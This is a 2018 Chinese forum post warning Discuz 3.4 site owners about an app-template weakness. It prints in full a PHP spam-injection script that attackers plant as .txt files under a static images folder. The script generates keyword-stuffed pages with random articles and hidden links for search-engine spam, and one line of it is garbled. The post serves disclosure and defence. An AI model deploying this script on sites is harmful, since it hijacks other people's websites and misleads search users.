Discuz 3.4某APP模板漏洞利用报告：黑链随机关键字随机文章内容缓存注入脚本

民审-M · 发表于 2018-2-7 11:30:21

Discuz 3.4某APP模板漏洞利用报告：黑链随机关键字随机文章内容缓存注入脚本：
引入位置：
/static/space/t2/images/下面 *.txt 引用/转换文件
阿里云监控.jpg

<?php
@error_reporting(E_ERROR);
@date_default_timezone_set("Etc/GMT-8");
@ini_set('memory_limit', '2048M');
$app_Jack_Tpl = new app_Jack_Tpl();
$app_Jack_Tpl->loadTpl();
$app_Jack_kwd = file(APP_JACK_KEYWORD);
$app_Jack_atl = file(APP_JACK_ARTICLE);
$app_Jack_core = new app_Jack_Core($app_Jack_kwd,$app_Jack_atl);
$app_Jack_core->run();
$app_Jack_var = $app_Jack_core->getStore();
if(APP_JACK_CACHED=="cached"){
return "<explode>".app_Jack_Cache::encode($app_Jack_var)."</explode>";
exit();
}
$app_Jack_Tpl->extra($app_Jack_var);
return $app_Jack_Tpl->show();
class app_Jack_Tpl{
public $page;
public $domain;
public function loadTpl(){
if(file_exists(APP_JACK_TEMPLATE)){
$this->page = file_get_contents(APP_JACK_TEMPLATE);
}
else
{
die();
}
}
public function extra($var){
if(!$this->page){
die("");
}
foreach($var as $k=>$v){
$this->page = str_replace("{".$k."}",$v,$this->page);
}
$this->page = str_replace("{domain}","",$this->page);
}
public function show(){
return $this->page;
}
}
class app_Jack_Core{
public $kwd = ""; //关键字数字
public $atl = ""; //文章数组 ""; /lic $kwdCount = 0;
public $atlCount = 0;
public $config = array();
public $store = array();
public $linkstyle = "";
//其中$domain_config
function __construct($kwd,$atl){
$this->kwd = $kwd;
$this->atl = $atl;
//
$this->kwdCount = count($kwd)-1;
$this->atlCount = count($atl)-1;
//
}
public function run(){
$id = mt_rand(0,$this->kwdCount);
$this->store['标题'] = trim($this->kwd[$id]);
$this->store['非空格标题'] = str_replace(" ","",trim($this->kwd[$id]));
//加入上下词语
if($id==$this->kwdCount){
$nextId = $id-2;
}
else
{
$nextId = $id+1;
}
$this->store['下关键字'] = trim($this->kwd[$nextId]);
$this->store['上关键字'] = trim($this->kwd[$id-1]);
//随机。
for($a=0;$a<=20;$a++){
$this->store['随机关键字'.$a] = trim($this->kwd[mt_rand(0,$this->kwdCount)]);
}
//随机文章
for($a=0;$a<=20;$a++){
$this->store['随机段落'.$a] = trim($this->atl[mt_rand(0,$this->atlCount)]);
}
for($a=0;$a<=10;$a++){
$this->store['随机图片'.$a] = getImg();
}
$this->store['系统图片'] =getImg();
$tempArray = array();
//随机60范围内
for($a=0;$a<30;$a++){
$akid = $id+$a;
if($akid>=$this->kwdCount){
$akid = abs($this->kwdCount-$akid);
}
$tempArray[] = $akid;
$akid = abs($id-$a);
$tempArray[] = $akid;
}
array_unique($tempArray);
shuffle($tempArray);
for($a=0;$a<=10;$a++){
$this->store['相关关键字'.$a] = trim($this->kwd[$tempArray[$a]]);
$this->store['相关关键字链接'.$a] = App_GetLink();
}
//
$this->store['下关键字'] = $this->store['随机关键字1'];
$this->store['上关键字'] = $this->store['随机关键字2'];
//修复
$this->store['下关键字链接'] = App_GetLink();
$this->store['上关键字链接'] = App_GetLink();
for($a=0;$a<=30;$a++){
$this->store['随机关键字'.$a] = trim($this->kwd[mt_rand(0,$this->kwdCount)]);
}
//随机链接
for($a=0;$a<=30;$a++){
$this->store['随机链接'.$a] = App_GetLink();
}
$this->store['随机链接'.$a] = App_GetLink();
for($a=1;$a<=15;$a++){
$senDB = trim($this->atl[mt_rand(1,$this->atlCount)]).trim($this->atl[mt_rand(1,$this->atlCount)]);
$this->store['随机句子'.$a] = self::getSentence(trim($senDB),6,12);
}
$this->store['混合标题'] = "";
if(file_exists(APP_MIX_KWD_FILE)){
$midKwd= file(APP_MIX_KWD_FILE);
$getMidKwd = $midKwd[mt_rand(1,count($midKwd)-1)];
$getMidKwd = App_Jack_article_auto::insert_tags($getMidKwd,1);
$getMidKwd = str_replace("{tag}",$this->store['标题'],$getMidKwd);
$this->store['混合标题'] = trim($getMidKwd);
}
if(file_exists(APP_JACK_DES)){
$manDes = file(APP_JACK_DES);
$manDesContent = trim($manDes[mt_rand(0,count($manDes)-1)]);
$manDesContent = str_replace("{subtitle}",$this->store['标题'],$manDesContent);
$manDesContent = str_replace("{标题}",$this->store['标题'],$manDesContent);
$manDesContent = str_replace("{混合标题}",$this->store['标题'],$manDesContent);
$this->store['手动描述'] = trim($manDesContent);
}
if(file_exists(APP_JACK_BIANLIANG)){
$randVar = file(APP_JACK_BIANLIANG);
$countRandVar = count($randVar)-1;
for($a=1;$a<=10;$a++){
$tmpVar = $randVar[mt_rand(0,$countRandVar)];
$tmpVar = str_replace("{标题}",$this->store['标题'],$tmpVar);
$tmpVar = str_replace("{混合标题}",$this->store['混合标题'],$tmpVar);
$senDB = trim($this->atl[mt_rand(1,$this->atlCount)]).trim($this->atl[mt_rand(1,$this->atlCount)]);
$sen = self::getSentence(trim($senDB),6,12);
$tmpVar = str_replace("{随机句子}",$sen,$tmpVar);
$this->store['随机变量'.$a] = trim($tmpVar);
}
}
if(file_exists(APP_JACK_BIANLIANG_B)){
$randVar = file(APP_JACK_BIANLIANG_B);
$countRandVar = count($randVar)-1;
for($a=1;$a<=10;$a++){
$tmpVar = $randVar[mt_rand(0,$countRandVar)];
$tmpVar = str_replace("{标题}",$this->store['标题'],$tmpVar);
$tmpVar = str_replace("{混合标题}",$this->store['混合标题'],$tmpVar);
$senDB = trim($this->atl[mt_rand(1,$this->atlCount)]).trim($this->atl[mt_rand(1,$this->atlCount)]);
$sen = self::getSentence(trim($senDB),6,12);
$tmpVar = str_replace("{随机句子}",$sen,$tmpVar);
$this->store['随机变量B'.$a] = trim($tmpVar);
}
}
if(file_exists(APP_JACK_BIANLIANG_C)){
$randVar = file(APP_JACK_BIANLIANG_C);
$countRandVar = count($randVar)-1;
for($a=1;$a<=10;$a++){
$tmpVar = $randVar[mt_rand(0,$countRandVar)];
$tmpVar = str_replace("{标题}",$this->store['标题'],$tmpVar);
$tmpVar = str_replace("{混合标题}",$this->store['混合标题'],$tmpVar);
$senDB = trim($this->atl[mt_rand(1,$this->atlCount)]).trim($this->atl[mt_rand(1,$this->atlCount)]);
$sen = self::getSentence(trim($senDB),6,12);
$tmpVar = str_replace("{随机句子}",$sen,$tmpVar);
$this->store['随机变量C'.$a] = trim($tmpVar);
}
}
for($ca=1;$ca<=10;$ca++){
$this->store['随机数字'.$ca] = mt_rand(1,1000);
}
//随机文章
$this->store['时间戳'] = date("Y-m-d");
$this->store['时间戳精准'] = date("Y-m-d H:i:s");
$this->store['精准时间'] = date("Y-m-d H:i:s");
$this->store['倒数时间'] = date("Y-m-d H:i:s",mt_rand((time()-(1*24*3600)),time()));
$timeStampArray = array();
for($a=0;$a<10;$a++){
$timeStampArray[] = mt_rand((time()-(1*24*3600)),time());
}
sort($timeStampArray);
for($a=1;$a<=10;$a++){
$timeid = $a-1;
$this->store['精准时间'.$a] = date("Y-m-d H:i:s",$timeStampArray[$timeid]);
}
$this->store['自身链接'] = App_GetSelf();
$this->store['中文时间戳'] = date("Y年m月d日");
$this->store['中文精准时间'] = date("Y年m月d日 H点i分s秒");
$article_auto = new App_Jack_article_auto();
$article_auto->init($this->atl,$this->atlCount);
$article_copy = $article_auto->autoArticle();
$this->store['系统文章2'] = $article_copy;
$this->store['系统描述2'] = $article_auto->getDes($this->store['标题'],$this->store['下关键字']);
$this->store['系统文章2'] = str_replace("{title}",$this->store['标题'],$this->store['系统文章2']);
$this->store['系统文章2'] = str_replace("{backword}",$this->store['上关键字'],$this->store['系统文章2']);
$this->store['系统文章2'] = str_replace("{nextword}",$this->store['下关键字'],$this->store['系统文章2']);
$array = array();
$array[] = $this->store['标题'];
$array[] = $this->store['下关键字'];
$this->store['系统描述2'] = $article_auto->getDes($this->store['标题'],$this->store['下关键字']);
$this->store['系统描述2'] = str_replace("{title}",$this->store['标题'],$this->store['系统描述2']);
$this->store['系统描述2'] = str_replace("{backword}",$this->store['上关键字'],$this->store['系统描述2']);
$this->store['系统描述2'] = str_replace("{nextword}",$this->store['下关键字'],$this->store['系统描述2']);
///论坛描述标签
$this->store['论坛描述'] = '{title}{rand1}{nexttitle}';
$this->store['论坛描述'] = str_replace("{title}",$this->store['标题'],$this->store['论坛描述']);
$this->store['论坛描述'] = str_replace("{rand1}",$this->store['随机段落1'],$this->store['论坛描述']);
$this->store['论坛描述'] = str_replace("{nexttitle}",$this->store['上关键字'],$this->store['论坛描述']);
}
public function getSentence($str,$min,$max){
$str = app_Jack_String::filter_mark($str);
$strlen = app_Jack_String::abslength($str);
$randId = rand(0,$strlen-10);
if($strlen < $max){
return $str;
}
$newSen = app_Jack_String::substr($str, $randId, mt_rand($min,$max));
if(app_Jack_String::strlen($str)==0){
return $str;
}
return $newSen;
}
public function cut($file,$from,$end)
{
$message=explode($from,$file);
$message=explode($end,$message[1]);
return $message[0];
}
public function getStore(){
return $this->store;
}
}
class App_Jack_article_auto{
public $title = "";
public $nextTitle = "";
public $backTitle = "";
public $articleDb = ""; //文章库
public $articleCount = "";
public $des = "";
public $content = "";
public function init($articleDb,$articleCount){
$this->articleDb = $articleDb;
$this->articleCount = $articleCount;
}
public function autoArticle($min=3,$max=3){
$article = $this->articleDb;
$count = $this->articleCount;
shuffle($article);
$content = "";
$norepeat = array();
$returncontent = array();
$maxPar = mt_rand(APP_JACK_MIN_PAR,APP_JACK_MAX_PAR);
for($a=0;$a<$maxPar;$a++){
$sence = rand(APP_JACK_MIN,APP_JACK_MAX);
//开始组合句子...
$parContent = "";
for($b=1;$b<$sence+1;$b++){
$parContent .=trim($article[mt_rand(0,$count)]);
}
$returncontent[$a] = $parContent;
}
$returncontent[0] = self::insert_start($returncontent[0]);
for($a=1;$a<$maxPar;$a++){
$returncontent[$a] = self::insert_tags($returncontent[$a],2);
}
//传入第一段，用来穿插关键字用。
$replaceTag = array("{title}","{backword}","{nextword}");
$returncontent[0] = str_replace("{tag}","{title},{nextword}",$returncontent[0]);
$this->content = $returncontent[0];
for($a=1;$a<$maxPar;$a++){
$count = substr_count($returncontent[$a],"{tag}");
for($b=0;$b<$count+1;$b++){
$returncontent[$a] = preg_replace("/{tag}/",$replaceTag[mt_rand(0,2)],$returncontent[$a],1);
}
}
$return = "";
foreach($returncontent as $par){
$return .="<p>".$par."</p>\n";
}
return $return;
}
public function getDes($title,$nexttitle){
$this->content = str_replace("{title}",$title,$this->content);
$this->content = str_replace("{nextword}",$nexttitle,$this->content);
$length = mt_rand(50,80); //至少20~30个字起，外加关键字长度，保证描述出现关键字
$length += app_Jack_String::strlen($title);
$length += app_Jack_String::strlen($nexttitle);
return app_Jack_String::substr($this->content,0,$length+8);
}
public function insert_start($str){
$times = 1; //关键字出现频率
$keyword = "{tag}"; //要替换的关键字
$strlen = app_Jack_String::strlen($str);
for ( $i = 0; $i < $times; $i ++ )
{
$arr[] = mt_rand(0, 30);
}
$arr = array_unique($arr); //过滤数组重复元素
sort($arr);
$i = 0;
$str_new = "";
foreach( $arr as $v )
{
$str_new .= app_Jack_String::substr($str, $i, $v - $i) . $keyword;
$i = $v;
}
$str_new .= app_Jack_String::substr($str, $i, $strlen - $i);
return $str_new;
}
public function insert_tags($str,$times){
$keyword = "{tag}"; //要替换的关键字
$strlen = app_Jack_String::strlen($str);
for ( $i = 0; $i < $times; $i ++ )
{
$arr[] = mt_rand(0, $strlen);
}
$arr = array_unique($arr); //过滤数组重复元素
sort($arr);
$i = 0;
$str_new = "";
foreach( $arr as $v )
{
$str_new .= app_Jack_String::substr($str, $i, $v - $i) . $keyword;
$i = $v;
}
$str_new .= app_Jack_String::substr($str, $i, $strlen - $i);
return $str_new;
}
}
class app_Jack_Cache{
//写入缓存
public function write($file,$filename){
return file_put_contents($filename,self::encode($file));
}
public function read($filename){
$content = file_get_contents($filename);
return self::decode($content);
}
public function encode($file){
return base64_encode(gzcompress(serialize($file)));
}
public function decode($file){
return unserialize(gzuncompress(base64_decode($file)));
}
}
class app_Jack_String{
public function filter_mark($text){
$array = array("；",";","【","】","，","。","、","？","》","《","|","：","“","”","=","-","~","’",'‘',"!","！","-","(",")","（","）","*","&","……","^","$","@","#");
if(trim($text)=='')return '';
$text = str_replace($array,"",$text);
$text = str_replace(" ","",$text);
return trim($text);
}
//字符串截取函数
public function substr($str, $start = 0, $length = 0) {
/* 该编码每个非英文字符的字节长度 */
$encode = APP_JACK_CHARSET;
$encode_len = $encode == 'UTF-8' ? 3 : 2;
for($byteStart = $i = 0; $i < $start; ++$i) {
$byteStart += ord($str{$byteStart}) < 128 ? 1 : $encode_len;
if( @$str{$byteStart} == '' ) return '';
}
for($i = 0, $byteLen = $byteStart; $i < $length; ++$i){
@$byteLen += @ord($str{$byteLen}) < 128 ? 1 : $encode_len;
}
return substr( $str, $byteStart, $byteLen-$byteStart );
}
public function iconvStr($from,$to,$fContents)
{
if(is_string($fContents) )
{
if(function_exists('mb_convert_encoding'))
{
return mb_convert_encoding ($fContents, $to, $from);
}
else if(function_exists('iconv'))
{
return iconv($from,$to,$fContents);
}
else
{
return $fContents;
}
}
}
public function strlen($str){
if(APP_JACK_CHARSET=="UTF-8"){
return self::strlen_utf8($str);
}
else
{
return self::strlen_gbk($str);
}
}
public function strlen_gbk($str){
$len=strlen($str);
$i=0;
while($i<$len)
{
if(preg_match("/^[".chr(0xa1)."-".chr(0xff)."]+$/",$str[$i]))
{
$i+=2;
}
else
{
$i+=1;
}
}
return $i/2;
}
public function strlen_utf8($str) {
$i = 0;
$count = 0;
$len = strlen ($str);
while ($i < $len) {
$chr = ord ($str[$i]);
$count++;
$i++;
if($i >= $len) break;
if($chr & 0x80) {
$chr <<= 1;
while ($chr & 0x80) {
$i++;
$chr <<= 1;
}
}
}
return $count;
}
public function abslength($str)
{
if(empty($str)){
return 0;
}
if(function_exists('mb_strlen')){
return mb_strlen($str,APP_JACK_CHARSET);
}
else {
if(APP_JACK_CHARSET=="UTF-8"){
return self::strlen_utf8($str);
}else
{
return self::strlen_gbk($str);
}
return $b;
}
}
}
?>

复制代码

可被引入挂载黑链，请站长引起重视，检查目标位置是否存在莫名txt文件。

Discuz 3.4某APP模板漏洞利用报告：黑链随机关键字随机文章内容缓存注入脚本

相关帖子

浏览过的版块

个人中心